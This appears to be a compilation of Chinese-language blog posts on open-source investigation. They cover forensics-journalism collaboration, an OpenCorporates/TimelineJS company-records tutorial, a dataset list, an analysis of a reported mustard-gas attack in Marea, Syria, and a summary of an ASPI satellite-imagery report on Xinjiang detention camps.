缺乏很好地激励或协调合作结构。对于记者来说，这也是在资源和新闻编辑室预算缩减的背景下。

但是，所有人都同意需要更好地联系。紧密的联系和社区将使这两个小组能够相互理解彼此的工具并以实用的方式传播研究成果。

需要弥合技术社区和记者社区之间的知识鸿沟 ——

有很多尚未开发的资源/功能，记者也不知道；但是，如何在工作流程中作为产品使用它们存在障碍问题；另一面，技术研究人员希望了解现实情况并处理现实数据。

技术社区应该尽可能共享现有的工具和新工具的进度，并提供有关特定媒体取证工具的动手培训 ——

取证界采取的措施与开源情报界所知道的东西存在明显的知识鸿沟。比如，现有的用于复制粘贴检测的工具，以及正在开发的用于跟踪特定相机的数字指纹的工具，修改图像的工具，以及验证内容经过了哪些社交网络的工具。

就是说，在研究范围之外，许多技术尚未商业化也不大易于普通人使用。更好的数据共享将加速此过程，以完善工具以解决开源情报社区正在解决的问题类型。

建立多元化的取证和开源情报专业知识 ——

需要找到各种方法来支持在各种环境中拥有本地图像取证和开源情报调查专业知识，因为了解本地情况很重要，在全球范围内都会遇到错误信息和虚假信息。

更多的社区建设活动 ——

我们之间需要更多的联系，经常的聚会。就特定事件将研究人员和开源情报社区召集在一起，就不同的错误信息模式在全球范围内举行会议，共同探讨解决方案。

也可能需要有规模较小的、更多本地的聚会，以讨论如何具体推进协作。

更详细的讲习班和知识交流可进一步提高理解水平 ——

有关此操作的一些想法包括：#使用以人为中心的设计/设计思维/系统思维方式探索彼此的需求并进行深入的工作，安排结构化的时间来准备原型或想法的起点，以获得可能的解决方案。

- 分享实际应用研究和技术的实例 —— 识别操纵、操纵目标、以及操纵方式。
- 特定媒体取证工具的动手培训。
- 围绕特定主题的研讨会，包括测试工具。
- 研讨会如何为记者和公众提供实用的研究翻译方法。
- 正在进行的知识交流，以帮助了解彼此的时间表和工作流程
- 花一定时间与他人合作或在特定组织中帮助开发工具
- 共享对影响研究人员和调查人员的威胁模型的理解。

1. 一个通知系统/电子邮件列表/ Twitter 机器人，让主要的开源情报研究人员、深度造假研究人员知道已识别出的受到操纵的视频或图像，或分享有关工具成功或失败的反馈。

- 关于信息战发生时的警报列表，我们需要彼此的帮助。
- 参与者可以通过这样的会议来建立主题专家的联系人资源列表。
- 松散的团队/通过电子邮件列表/ Whatsapp群组或其他论坛，以分享知识、棘手的案例或示例、开发项目、向其他专家提出问题（注意：只要我们已同意共同的准则和道德规范，就可以）

支持有关特定问题的结构化对话 ——

有些问题已经是挑战，而其他问题在部门之间的结构化对话可能有价值的情况下将变得越来越重要：例如，关于我们如何防止恶意行为者利用知识；或关于我们如何考虑和反馈未决的规则。

制定共享的分类法 ——

因为并非所有人都同意关于错误/虚假信息的通用术语，因此很难创建干净的数据集进行分析。所以需要先统一概念和标准。

分享培训机会 ——

需要在结构化设置中相互学习。培训机会的一个示例是 UC Denver 的国家媒体取证中心提供的新的深度造假取证课程。开源情报界有很多培训机会（虽然价格不便宜）。

共享数据集和示例 ——

在道德要求内，共享现实世界的数据和内容示例以为研究提供信息可能非常有用。

还应注意，某些数据和一些示例无法公开发布，并且不能确定哪些内容可以合乎道德地分享，以学习和理解在此问题上可以做得更好的方法。这可能需要第三方的协助。

相关各方之间也需要建立平等的关系，以免造成关于 *谁从数据中受益* 的权力失衡。

数据托管服务？ ——

集体探索的一种选择是查看数据托管服务的模型，该模型应该提供一种在道德层面适当的使用彼此数据的方式，但具有明确的保护和限制。

协作以创新，分享想法以进行验证 ——

例如，建立一个全国性或全球性的ENF信号收集器，这些信号随位置而变化并且可以在视频中检测到，以更好地识别真正的音频或视频记录的位置。

最后

如上，需要做的工作非常多。尤其是技术社区应该努力与活动家和调查社区合作，以帮助技术更好地应用在现实中最需要的地方。

如果您是开发者并有意愿予以协助，欢迎联系我们。〇

How do we work together to detect AI-manipulated media? 广告

原文

开源调查：收集信息追踪钱的轨迹 #OSINT 基础和一个 Timeline 示例 - iYouPort

开源情报-每个人都可用的武器

本博客会陆续演示一些开源调查的案例，以演示其技巧。公民记者的技能可以完全不差职业记者的（尤其是中国的那些职业记者，嗯…）

「图」

「图」

> *(Open-source intelligence) OSINT* 是从公开可用的来源收集数据的调查。*OSINT* 不同于一般的调查研究（*Research*），它是为特定的个人或团队量身定制的特的情报处理工作，以支持其必须做出的特定决策，不论是情报机构、调查性新闻记者还是民间独立组织

想必绝大多数人在阅读巴拿马文件或有关贪腐的法庭文件后只把它们当成了新闻，对挖掘感兴趣的人还是太少。但的确是有的，当然技能也是个关键。

通过阅读法庭文件，你是否想知道该如何查看一些公司所经历的事件的时间表？被税务人员追赶后，他们是否改变了公司结构？你该怎么做才能清楚地看到这些信息？

许多 OSINT 调查涉及到公司，他们的结构，当然还有他们的董事。这里面会需要一些工具，比如 OpenCorporates 就是个非常不错的帮手，TimelineJS 也是一个强大的工具，对于深入调查来说很有效，调查性记者都应该会用。

本文先介绍一些基础知识和简单步骤，然后使用一个实例来展示使用 TimelineJS 做出的调查。

OpenCorporates API 教程

你现在的目标是拥有一个工具，可以打入公司名称和管辖区（2个字母的国家代码）并让它自动返回该公司的所有公司文件。第一步是解决 API 中的公司记录。你可以在这里看到一些文档。看起来你需要使用两个端点：#GET companies/search—需要一个 q 参数的查询字符串和一个你正在搜索的管辖区（国家/地区）的 jurisdiction_code。

- GET companies/jurisdiction_code/company_number/filings—再次使用 jurisdiction_code 从原始的企业搜索 API 调用返回的公司编号。

1. 第 23 行： 定义了 corporate_search 函数，该函数接收将成为我们正在搜索的公司的*公司参数*以及作为双字母国家/地区代码的 jurisdiction 。

- 第 25–26 行： 构建 API URL，传递 URL 编码的公司名称（25），然后将 jurisdiction_code 参数添加到 URL 以缩窄结果（26）。
- 第 28–32 行： 发送请求（28），如果我们收到有效的响应（30），处理收到的JSON（32）。
- 第 34–38 行： 迭代返回的所有匹配项（34），然后检查是否与我们传入脚本的公司名称完全匹配（36），如果有完全匹配，会返回公司编号和公司名称（38）。

1. 第 46 行： 定义了 corporate_filings 函数，以接受从公司搜索返回的 corporation_id 参数，当然还有 jurisdiction。

- 第 48 行： 在这里正在构建我们的 API url，它将告诉 OpenCorporates 回复申请结果的第一页。
- 第 58 行： 从搜索结果中获取结果并将其存储在文件变量中，该变量将包含所有公司文件。
- 第 61–62 行： 由于我们只能从 API 检索 30 个结果，获取总页数（61）然后初始化计数器（62），以便我们可以继续调用 OpenCorporates 来检索所有记录。
- 第 64–76 行： 继续将页面参数添加到申请请求中（66），发送请求（68），解析（72）和存储结果（74），然后递增页面计数器（76）并继续，直到检索了所有的文件。

1. 第 87 行： 在这里定义 build_timeline 函数，以获取文件列表，和它们所关联的公司名称。

- 第 89–93 行： 这是从 TimelineJS 电子表格模板中复制的大字

段列表，这些是您的时间线能正确呈现所必需的。
- 第 95–98 行： 这里只是检查目标 CSV 文件的存在。如果该文件不存在，我们将编写电子表格标题，如果存在，开始将记录添加到电子表格的末尾。
- 第 100–105 行： 打开输出文件（100），然后初始化 CSV 编写（102），传入文件句柄和字段列表（102）。正如此前提到的，如果这是一个新文件（104），在电子表格（105）中写出标题行。
- 第 109–123 行： 循环遍历每个文件（109），拆分以 YYYY-MM-DD 格式存储的日期字段（111），然后用我们想要在时间线中显示的所有信息填充字典。最后一步是将数据写入电子表格（123）。

1. Lochside Limited

- Korderry Limited
- Ogral Company Limited

所以你的命令行参数看起来像这样：

1. python followthemoney. py -c“Lochside Limited”-j im -t cbcstory.csv
2. python followthemoney. py -c“Korderry Limited”-j im -t cbcstory.csv
3. python followthemoney. py -c“Ogral Company Limited”-j im cbcstory.csv

现在转到 Google 云硬盘，创建新的电子表格，转到“文件”菜单并选择“导入”，然后使用“更换当前工作表”选项。

转到此处的 TimelineJS 页面，然后按照其步骤发布时间轴电子表格，并生成预览。完成后，你应该能够浏览数据，甚至将其嵌入到自己的网站中。

非常整洁的东西。如果你有大量记录可能会想要把它放大。并且你还可以使用 OpenCorporates API 做更多的事，嗯你懂的。

——数据集——

以下提供一些数据集，根据你希望调查的内容，应该知道在哪里能找到。

」 World Bank Open Data（https://data.worldbank.org/ ）：涵盖世界各地的金融、服务指标等数据。

」 IMF Economic Data（https://www.imf.org/en/Data）：这是一个非常有用的信息源，包括全球金融稳定报告、地区经济报告、国际金融统计数据、汇率、贸易方向等。

」 UN Comtrade Database（https://comtrade.un.org/ ）：用户可以以可视化的形式免费访问详细的全球贸易数据。它是国际贸易组织统计数据和相关分析表的官方资源库。

」 Global Financial Data（https://www.globalfinancialdata.com/ ）：涵盖超过 6 万家公司的数据，时间跨度为 300 年左右，为分析全球经济的变化提供了独特的来源。

」 Google Finance（https://finance.google.com/finance ）：包括实时股票报价和图表、财经新闻、外汇汇率、投资组合等。

」 Google Public Data Explorer（https://www.google.com/publicdata/directory ）：提供来自世界银行、OECD、欧盟统计局和丹佛大学等一系列国际组织和学术机构的公开数据和预测。这些数据可以以曲线图、条形图、横截面图的形式显示，也可以在地图上显示。

」 Financial Data Finder at OSU（https://guides.osu.edu/c.php?g＝280921&p＝2281286 ）：这里提供一切与金融相关的数据的链接，包括在线世界发展指标（World Development Indicators Online）、世界银行公开数据（World Bank Open Data）、全球金融数据（Global Financial Data）、国际货币基金组织统计数据（International Monetary Fund Statistical Databases）和 EMIS 情报。

」AmazonAPI（https://docs.aws.amazon.com/apigateway/latest/developerguide/welcome.html ：可以按分类浏览 AWS 上的公共数据集，获取大量信息。

」 American Society of Travel Agents（https://www.asta.org/ ）：ASTA 是世界上最大的旅游协会。该网站提供旅游代理信息，还提供旅游、邮轮、酒店、租车等产品信息。

」 Social Mention（https://socialmention.com/ ）： Social

Mention 是一个社交媒体搜索和分析平台，它将来自世界各地的用户产生的内容聚合成单一信息流。

」Google Trends（https://trends.google.com/trends/）：展示了在世界上不同地区，特定的搜索词出现的频率。

」Facebook API（https://developers.facebook.com/?locale=en_US）：大家可以学习如何利用 Graph API 发布和检索数据。

」Twitter API（https://developer.twitter.com/en/docs）：利用 Twitter 平台，大家可以在 Twitter 上接入网站或应用程序。

」Instagram API（https://www.instagram.com/developer/）：大家可以利用 Instagram API 平台构建非自动化的、真实的、高质量的应用和服务。

」Foursquare API（https://developer.foursquare.com/）：支持访问 Foursquare 数据库，能与 Foursquare 上的用户和商家进行互动。

」HubSpot（https://www.hubspot.com/marketing-statistics）：大型市场数据库。你可以在这里找到最新的市场统计数据和趋势。这里也为社交媒体营销、内容管理、网页分析、登陆页面和搜索引擎优化提供相关工具。

」Moz（https://moz.com/）：关于 SEO 的相关见解，包括关键词研究、链接建设、网站审计和页面优化，可以帮助公司直接地分析他们在搜索引擎上的位置，改进排名。

」Content Marketing Institute（https://contentmarketinginstitute.com/）：关于内容营销的最新新闻、专著和研究。

」Associated Press API（https://developer.ap.org/ap-content-api）：无需访问美联社站点，该 API 支持大家用自己的编辑工具搜索和下载内容。大家可以下载美联社、网站成员和来自第三方的图片，还可以下载美联社和选定的第三方制作的视频。

」Google Books Ngram Viewer（https://books.google.com/ngrams）：在线搜索引擎，提供谷歌文本语料库在 1500–2008 年间的 n-gram 数据。可以以图例的形式显示查询词在这些年间出现频率的变化情况。

」 Wikipedia Database（https://en.wikipedia.org/wiki/Main_Page ）：向用户免费提供平台上的所有数据。

」 FiveThirtyEight（https://fivethirtyeight.com/ ）：它是一个关注民意调查分析、政治、经济和体育的网站。Github 上的数据和代码基于 FiveThirtyEight 上的故事和内容。

」 Google Scholar（https://scholar.google.com/ ）：Google 推出的面向学术资源的免费搜索引擎，能够帮助用户查找包括期刊论文、学位论文、书籍、预印本、文摘和技术报告在内的学术文献，内容涵盖自然科学、人文科学、社会科学等多种学科。

」 OpenCorporates（https://opencorporates.com/ ）：OpenCorporates 是世界上最大的关于公司和公司内部数据的公开数据库，它有超过 1 亿家公司的数据管辖权。

」 The CIA World Factbook（https://www.cia.gov/library/publications/the-world-factbook/ ）：各国状况。重点关注历史、政府、人口、经济、能源、地理、通信、交通、军事和跨国问题（267 个国家）。

」 Octoparse（https://www.octoparse.com/ ）：免费的数据提取工具，可以收集上面提到的所有网站的数据。

上述不是全部，别的暂时没想起来，今后想起来再慢慢说哈。

——以下是一个 TimelineJS 调查使用的示例：ISIS 是否在叙利亚 Marea 使用了芥子气攻击？

「图」

「图」

叙利亚是全球假消息云集的胜地，由于战争的混乱和消息封锁，极难找到真相。但是逻辑和公开资料一直都是可用的，我们用 OSINT 的方法来试试看。

当时，伊斯兰国据称对反叛分子控制的 Marea 地区发动了不分青红皂白的轰炸，公民和反叛分子担心他们将很快袭击阿勒颇北部城镇。Marea 三面环绕着伊斯兰国，位于一个月前的 IS 攻势前线。

当炮弹落下时，Marea 医院的医务人员准备接受伤员，就像平常那样。然而这次似乎不同，医院工作人员很快发现了异常症状。

大约 10 名受伤的人，“其中有一些孩子，来到我们的急诊室，他们称呼吸困难，眼睛和皮肤发红，眼睑肿胀，散发着很臭的气味”，Marea 医院行政主任 Tariq a-Najjar 告诉Shahba新闻。

袭击事件发生后，叙利亚美国医学会（SAMS）报告说“超过 23 名平民表现出化学品暴露的症状。”无国界医生（MSF）证实了 SAMS 的说法，称伤者已在无国界医生的野战医院接受治疗“，四名患者，来自同一家庭，其临床症状、随时间变化的方式、以及患者对中毒情况的证词，都指向了接触化学药剂的结果。“

起初，记者、活动家和新闻网都没有说过“芥子气”，连“非传统的攻击”都没说，正如后来在反对派和政权控制的媒体中的报道中所呈现的那样。

a-Najjar 说，有大约 50 枚炮弹袭击了 Marea。据报道，至少有一枚击中了一个家庭的房子，然后在里面爆炸了。炮弹释放出毒气。四天后无国界医生做出总结。

袭击发生的当天下午，亲反对派叙利亚革命的论坛推特发布了两个 SHAAM 新闻网的照片，显示一名男子呈现红色和浮肿着的眼睛，似乎二十岁左右，据说是 IS- 炮击 Marea 的伤者。

大约五个小时后，以 Hama 为基地的活动家 Abu al-Huda al-Hamawi 在推特上发了一张照片，显示了几乎一样的红色浮肿的眼睛，这次是另一名病人，一名三十多岁的男子，显然是在 Marea 或附近的一家医院接受治疗。

「图」

「图」

但在次日，由反对派记者 Mohamed al-Fateh 发布的推文中，Marea 报告的另外两例患者受伤的图片讲述了更多的情况。一张照片显示一名年轻男子或一名男孩带有充满液体的眼睑。另一张照片显示一名男子的背部布满了黄色的水泡。

医生促进人权组织（PHR）在向叙利亚公开的声明中评估了涉嫌芥子气中毒患者的照片，称其表现为“芥子气损伤的特征”。

SAMS 报告了芥子气中毒的实地诊断。总部位于阿勒颇的 FSA 联盟第 13 分部于次日同意了这一结论，在 Facebook 上张贴了一张患有严重背部水疱的男子的照片，该照片附文字称他的妻子和孩子正处于“危急状态”，“是毒气弹。”（后来被 Facebook 删除了）

在袭击发生后的几天里，活动人士和记者分享了至少五次炮弹的视频和照片，他们声称这些炮弹是在 Marea 发射的。后来据传拍下的弹片中含有芥子物质。而且这些弹片看起来像是完整的外壳。

在对图像进行分析后，Open Syria 组织认为拍摄上传的弹片极不可能将芥子气洒在 Marea 土地上。现代的芥子气炮弹包含一个高爆炸中心管，在爆炸时将周围的芥子气—浓稠的浆状液体，而不是气体—变成细云，从而粉碎炮弹。

除了哑弹之外，所有芥子气的炮弹残骸都会分散成碎片，有些大一点的碎片与人的掌心相当。因为不可能事后观察到完整的弹片，于是那些据称是在 Marea 攻击事件发生后拍摄到的在互联网上传播的所谓芥子气弹药的照片是错的。

这不意味着 **ISIS** 没有攻击或者没有使用芥子气，这是意味着我们还没有真的发现物证：即 可识别的化学弹药的遗骸。

他们如何做到的？

Marea 是此前在叙利亚和伊拉克发生的一系列可能的 IS 芥子气袭击事件的最新目标。据报道，美国军事人员此前两日在伊拉克 Makhmour 以及此前十天在叙利亚 al-Hasakah 对库尔德部队发射的迫击炮碎片进行了实地测试。

Marea 是第一次被攻击，其中患者症状的发作和表现形式，如社交媒体上所记录的那样，与芥子气制剂的接触结果非常接近。但如果 IS 确实在 Marea 部署了芥子气，他们是如何做到的？

首先，修改常规弹药或制造自己的弹药，以提供被盗的或自制的毒气制剂，是一项复杂而危险的任务。IS 的化学家必须从头开始，或使用一种或多种芥子气前体—用于大规模生产毒剂的原料化学品，来完善芥类起泡剂。与此同时，工程师必须掌握自己动手制造芥子气炮弹的艰巨挑战，这种炮弹需要能够通过野战炮承受非凡的火力暴力。即使是填充这一设备也可能导致数十人受伤。

“最危险的工作都是填充炮弹……英国装载设施的数千名工人都受到

了不利影响; 在一个设施中有九成人生病或受伤，而在另一个工厂，这一比率达到了劳动力的100%“，Gerald Fitzgerald 博士写道，引用他父亲当年的记载，他父亲是一战时德国的毒气专家 Fritz Haber，专门研究芥子气的化学家。

这不是说 ISIS 就做不了。他们曾经部署过复杂的自制武器。但一个显著的问题在于攻击“效果”，芥子气最大的效果是致残和污染，而不是杀戮，芥子气释放后令敌方在数小时或数天内难以接近污染地区，然而它的杀伤率仅在1%到3%之间。而老式的高爆炸药更便宜也是更可靠的杀手，如果死亡和伤残是 IS 的唯一目标的话。

虽然自行调制芥子毒剂和构建机制似乎有些难度过大，但鉴于大规模化学武器计划和地区混乱的令人担忧的组合状况，在叙利亚或伊拉克偷窃、寻找或购买芥子剂的可能性似乎是存在的。

例如，2013 年解密的法国情报报告估计，叙利亚拥有“数百吨库存芥。”虽然有些消息来源称是 560 公吨，但目前还不清楚此前是否有国际努力制止，正如禁止化学武器组织的一份报告所述，阿萨德的化学武器库被摧毁了超过 20 公吨最终形式的芥子气剂。

叙利亚政府声称在 2013 年3月在三个地点销毁了 200 公吨，但是斯德哥尔摩国际和平化学和生物战项目负责人 Jean Pascal Zanders 博士指出：“据我所知，[尽管]禁化武组织已经能够确定芥子气破坏活动发生在叙利亚声称的地点……但未能确定被销毁的数量”。“叙利亚显然缺乏与其相关的活动，包括武器装备和破坏活动的记录……这当然并不意味着武器没有被销毁，但它造成了一定程度的不确定性。”

因此，芥子气原料有可能在叙利亚某处丢失或隐藏。

以上是信息收集，以下是具体分析。

症状：认定和评估

无国界医生指出曾治疗过四个病人，都来自同一个家庭，其中包括“两位家长，三岁的女孩和一个出生五天的女婴”，攻击发生当日在阿勒颇北部的一家无国界医生医院。

虽然无国界医生没有实验室证据可以确认症状的原因，但“患者的临床症状、症状随时间变化的方式、以及患者对中毒情况的证词，都指向接触过化学药剂的结论”，叙利亚无国界医生项目经理 Pablo Marco 在同一份报告中说。

特别值得注意的是水疱延迟发作，无国界医生报告在初次接触后约四小时发现水疱。初始暴露和起泡之间的四小时时间表与芥子气剂临床效果的科学文献相匹配。

下表列出了芥子气暴露的症状，以及症状发作的指定时间范围：

「图」

「图」

在报告的 IS 化学炮袭击后拍摄到的炮弹弹壳很可能是传统的中国或俄罗斯制造的照明弹或 WP 烟雾弹的130毫米底座。于是记者和活动家的声称有误。

炮兵部队很有可能向 Marea 发射各种炮弹，使用烟雾弹和照明弹可以隐藏前一次袭击阿勒颇北部城镇的战斗机的动作，或者为车载 IED 自杀客扫清道路。鉴于有充分证据和评估以证明受伤居民的状况，含有芥状起泡剂的弹壳可能和其他弹壳混在一起了。

正如此前所述，除了哑弹之外很难找到完整的碎片以证明气剂的存在，因此尚未能确定其属于芥子气剂。最简单的假设是，IS 抢劫了现成的化学品火炮，即装载在可行的运载工具中的芥子气剂—比如在伊拉克或叙利亚捕获的炮弹或迫击炮。

如上所述，似乎没有什么看似合理的其他可能：独立设计、开发和测试芥子剂，以及提供毒物的装置，那将是复杂危险且昂贵的，并且不比现成的高爆炸药更致命。

下图是袭击发生的当日出现在推特上的弹壳照片：

「图」

「图」

下图出现在袭击次日的凌晨：

「图」

「图」

两个假设

假设1：IED 前体

首先，弹壳完好无损。现代的芥子气炮弹包含一个爆炸物的中心管，它的爆炸以分散一种细雾状的浓稠浆态的芥子剂，从而粉碎外壳。因此，应该观察到的是碎片，而不是完整的壳。

其次，炮弹需要使用熔断器进行爆炸，并将其拧入弹丸的螺纹鼻部。然而，上述照片显示被剥去了螺纹，似乎是有意的扩大炮弹引线，表明 Marea叛乱分子可能一直在努力将拍下的弹药转换成简易爆炸装置。居民反过来拍到了实际上是 IED 前体的东西。

「图」

「图」

假设 2：常规照明弹或 WP 烟雾弹

然而仔细检查发现，壳体似乎不是 IED 前体。相反照片更像是来自弹射炮弹：弹射炮弹鼻部有一个爆炸装药，爆炸时会将炮弹的有效载荷推出尾端，壳体会保持完整，不像壳体有中心爆裂管的那种外壁肯定破裂。

「图」

「图」

那么究竟是什么炮弹击中了 Marea？鉴于每个炮弹底座上的双旋转带，很容易推测是俄罗斯DTs1或中国 59 型 130 毫米可见光烟雾弹或照明弹。

「图」

「图」

那么能够造成深度烧伤的 WP 能否导致 Marea 显示的那种伤害？

日内瓦把白磷弹列为违禁武器，明确规定不允许在平民区或针对平民使用，但充许白磷弹被用作烟幕弹或照明弹。“白磷燃烧更多会造成离散的烧伤，这种烧伤非常深，可以渗透到骨骼中，“ 利兹大学毒理学教授 Alastair Hay 写信给 Open Syria，并且指出，“照片所显示的更像是芥子气的证据而不是 **WP**”。

尽管暴露于 WP 烟雾中可能会造成类似暴露于其他武器化学物质中所造成的创伤，但 WP 似乎不太可能造成照片中所呈现的那种伤害。

在没有可识别的弹药的情况下，Open Syria 发现，经过医学和化学武器专家独立评估的受害者的照片，是 ISIS 芥子气袭击 Marea 的最有说服力的证据。虽然如此，依旧需要指出，那些流传的照片很可能是搞错了状况，不可作为证据。

好啦，上述案例希望能呈现一个思路，即什么是证据，如何评估各方面来源的信息。希望中国的独立调查人士能掌握数据收集、证据评估和逻辑梳理的技巧。〇

广告

原文

开源调查图解新疆"再教育"营 - iYouPort

开源情报-每个人都可用的武器

这篇报告中介绍了一些简易的调查方法，尤其是对于初学者来说，值得学习

「图」

「图」

ASPI国际网络政策研究中心的这份报告整理并补充了当前对中国不断发展的新疆法外“再教育”营网络的开源调查。

该报告为新研究做出了贡献，同时还将许多现有研究整合到一个数据库中。

这项工作包括交叉引用多个证据，以佐证有关所列设施本质上是惩罚性的，而且比中国当局所谓的“通过教育改造”更类似于监狱营地。

通过将各种文献证据与各个营地精确位置的卫星图像进行匹配，该报告有助于巩固、确认并补充其他研究人员收集到的证据。

关键要点：

- 这份 ASPI ICPC 报告涵盖了28个地点，但只是新疆再教育营总网络的一小部分；对总数的估计有所不同，但最近的媒体报道已经确定了该地区大约180家集中营设施，有些估计整个地区高达1200家。
- 自2016年初以来，本报告确定的28个再教育营的规模增长了465%。
- 截至2018年9月下旬 —— 在已分析的28个营地中 —— 该报告共计测量到270万平方米的建筑面积，相当于43个墨尔本板球场的总和。
- 此期间的最大增长发生在2018年7月、8月和9月，在那段时间里这28个集中营的建筑面积增加了700,000平方米。

- 自从重新设计和/或建造某些设施以来，它们的规模就呈指数级增长。例如，《纽约时报》在2018年9月报道的位于和田的设施从2016年初的7,000平方米扩大到2018年9月的172,850平方米，在大约18个月的时间内增加了2469.29%。
- 在夏季，这些营地的建筑速度显著加快，2017年和2018年第三季度建筑速度均出现激增。

—— 介绍 ——

中国的审查员一直在删除那些证明该国在新疆的法外“再教育”营网络庞大的证据。

从第一手证词到卫星图像，研究人员现在提供了丰富数据，值得信服地描绘了自1989年天安门事件以来中国最大规模的侵犯人权行为。

这种迅速发展的“再教育”营网络的传言最初是通过对被拘留者亲属的采访开始传播的。

进一步的研究利用了公共建设和服务招标中的信息，这些信息记录并详细说明了这些再教育营的规模和戒备森严的特征。

其他文件，例如公共招聘通知、政府预算报告、政府工作报告、以及当地媒体和社交媒体上的中文文章，都有助于揭示中国当局如何迅速扩展这一营地网络的细节。

这种强大的证据积累以及联合国的谴责，已经迫使中国当局从完全否认拘留营的存在转向公关攻势，在这种进攻中他们将拘留营描述为“免费职业培训”，而不是任何惩罚性措施。

该 ASPI ICPC 报告为新研究做出了贡献，同时还将许多现有研究汇总到一个数据库中。

这项工作包括交叉引用多个证据，以佐证有关所列设施本质上是惩罚性的，而且比中共所谓的“教育中心”论更类似于监狱营地。

该报告与这个庞大的营地网络的卫星图像与已经发现的大量文献证据相符。

该报告采用保守的方法来决定每种设施的可能用途。根据潜在的开源数据，每个潜在营地都被分配了一个红色、橙色或绿色标签，代表信心水平。

—— 数据 ——

该报告收集并整理了大量数据，并尝试将尽可能多的数据包含到数据库中。

数据库的某些子集是新的，例如，关于这28个设施的规模增长的数据。

其他研究人员、非政府组织或媒体也发现了其他问题。在可能的情况下，来自这些来源的数据已包含在数据库中，并带有引文和指向原始作品的超链接。

本报告介绍并汇总了收集到的数据的简要摘要；但是，使用随附的数据库，您可以更深入地探索所有数据点并逐一得出结论。

该数据库绝不是一个详尽的列表，随着添加其他数据集，它将继续发展和壮大。

希望它能够为媒体、研究人员和政府提供最新和有用的信息，并成为他们可以作出贡献的资源。

具有多个有力证据的营地被视为拘留营，并标记为绿色。

这些证据包括，例如，在官方文件中被描述为“再教育”的设施，该研究从招标文件中定位的设施、和包含卫星图像中捕获的物理特征，例如铁丝网、加固的墙壁、和瞭望塔。

其他营地上的橙色标签表示为得出最终结论所必需的公开证据数量相对较少。红色标志表示证据很少或不完整。由于缺乏证据，因此未将其包含在公共数据库中。

这并不意味着该系统的范围和规模很小。法新社（AFP）估计，新疆至少有181个这样的设施，而德国学者 Adrian Zenz 的研究表明，可能有多达1200个这样的设施。

取而代之的是，该报告及其基础数据库旨在为新疆拘留营建立一个现有研究资料库，以便为后代保存中国审查员正在迅速从公共记录中删除的信息。

「图」

「图」

上面图1：这张热图显示了新疆全省28个拘留营的分布和规模。

一个区域中设施的总和越大，地图上的阴影就越暗。

喀什市及其周边地区的设施楼面密度最高，因此很可能会拘留最多的人。

「图」

「图」

上面图2：分析设施中的累积建筑面积。

在2017年第二季度之后，许多已经建造的建筑物被改建为再教育营（分别为标有绿色和橙色的营地）。

「图」

「图」

上面图3：额外建设的季度比率。在2017年和2018年的夏季月份（第三季度）可以看到峰值。

2018年迄今为止的增长（116.9万平方米）已经超过了2017年全年（918,000平方米）的增长。

—— 实例探究 ——

魔鬼隐藏在细节中：喀什市“职业技术教育培训中心”

坐标： 39°27’9.59″N, 76°6’34.24″E

去年，《环球时报》编辑胡锡进参观了他所谓的喀什“职业培训中心”。他在他的 Twitter 帐户上发布了两分钟的旅行视频。

胡参观了喀什市以东的第四中学。该学校以及五中、六中在2017年上半年都在建设中。这些学校是与其他两所学校相邻建造的，这两家学校分别是喀什市高中和沪喀实验中学。

但是，到2017年7月，当施工完成时，该设施西南部的每所“学校”建筑物（以前是应该是五中的地方）都被高高的围栏所包围，这些围栏被漆成绿色，并用有刺铁丝网覆盖。

到八月，原本是六中的大部分区域都被围了起来。 2017年11月左右完工后，第四中学也发布了招标书，要求投标人监督和安装新设备，包括新的监控摄像头系统。

2018年3月，一个椭圆形活动房被拆除，取而代之的是四座六层楼的大型建筑物，总建筑面积约50,000平方米。其中每一个建筑都被六个10 x 18 m的围栏围起来，供被拘留者使用。

喀什市高中和Huka实验中学（距离喀什第四中学北部仅 50m）描绘了截然不同的景象。

篮球场上到处都是在外面玩的学生，可以在学校建筑物之间和大型运动场之间的卫星图像中看到人。

10月24日访问第四中学的胡锡进发布的视频显示，被拘留者在跳舞、打乒乓球和打篮球。但是，这次访问以及在社交媒体上分享的镜头可能无法反映被拘留者的日常经历。

在这里看到对胡锡进 tweet 的解读《推特仍在帮助中国政府推动虚假消息的传播》。

通过卫星和图像分析（包括每天更新的图像），我们可以确定这些球场是有色垫子铺就的，是营地的新增内容。这些垫子放在混凝土覆盖的区域。

「图」

「图」

2017年8月至2018年8月期间，在25张卫星图像中显示了该设施自建造以来的状况，这些室外露天场地均未显示任何图像。

但是这些彩色垫子确实会出现在10月10日起提供的卫星图像中。《环球时报》的胡锡进10月24日在 Twitter 和中国微博上发布了他对这些设施的记录。

「图」

「图」

自《经济学人》于**2018**年**5**月报道以来，疏勒县城南培训中心

坐标：39°21’27.64″N, 76°3’2.39″E

2018年5月31日，《经济学人》在发表的长文 “中国特色种族隔离”中，收录了“疏勒县城南培训中心”的卫星镜头。

自《经济学人》发表文章介绍该营地的卫星图像以来，我们一直在追踪该营地的巨大变化。自2018年3月（这是获取卫星图像的日期）以来，该设施的规模增加了一倍以上。

在本报告涵盖的两年半时间里，该设施已从5座建筑物或翼楼增长到24座。在此期间，其总建筑面积从12,200平方米增加到129,600平方米。这表示其大小增加了1062.3%。

该营地在官方文件中被描述为“再教育”设施，而一次招标显示了疏勒县司法局的介入。

通过卫星和图像分析，可以清楚地看到该营地的物理特征，包括路障设施、瞭望塔、和被铁丝网围成的围栏。

但是，该设施的证据基础不只是卫星图像、招标书和地面尺寸。此外，我们将卫星图像与宗教自由倡导组织 Bitter Winter 在2018年9月发布的第一手资料，街景图像和视频镜头进行了匹配。

Bitter Winter 的证据突出了该设施的几个关键特征。新建建筑物的镜头显示了营地的规模。

该报告详细介绍了这些设施的结构。每个楼层包含28个房间，每个房间都由两个监视摄像头监控。

「图」

「图」

—— 方法 ——

该报告提供了可量化的图像，显示了中国庞大的拘留营网络在整个新疆地区的分布和增长。

定位这些营地有各种方式，包括通过独特的卫星图和物理特征；中国政府的官方建设招标；以及，从官方来源、本地和国际非政府组织、学者和数字活动家收集的信息。从卫星图像分析中获得了大量信息。

这些营地的卫星图像显示了戒备森严的设施，其特征包括巨大的栅栏以严格限制个人的活动，瞭望塔的覆盖范围一致，以及只有少量入口点的战略性路障。

这些营地周围的区域通常是多层的，由在内部和外部都带有高高的铁丝网围栏的大墙组成。

这些功能使我们能够准确确定官方施工招标中提到的集中营的位置。

通过与不列颠哥伦比亚大学的学生 Shawn Zhang 进行互动和共享信息，为定位营地提供了极大的帮助。

此外，非政府组织和维权人士的官方媒体和报道也至关重要。这些资源提供了一些设施的媒体，使我们能够将显示的物体（例如建筑物和围栏）与可用的卫星图像进行匹配。

测量每个设施的建筑面积。

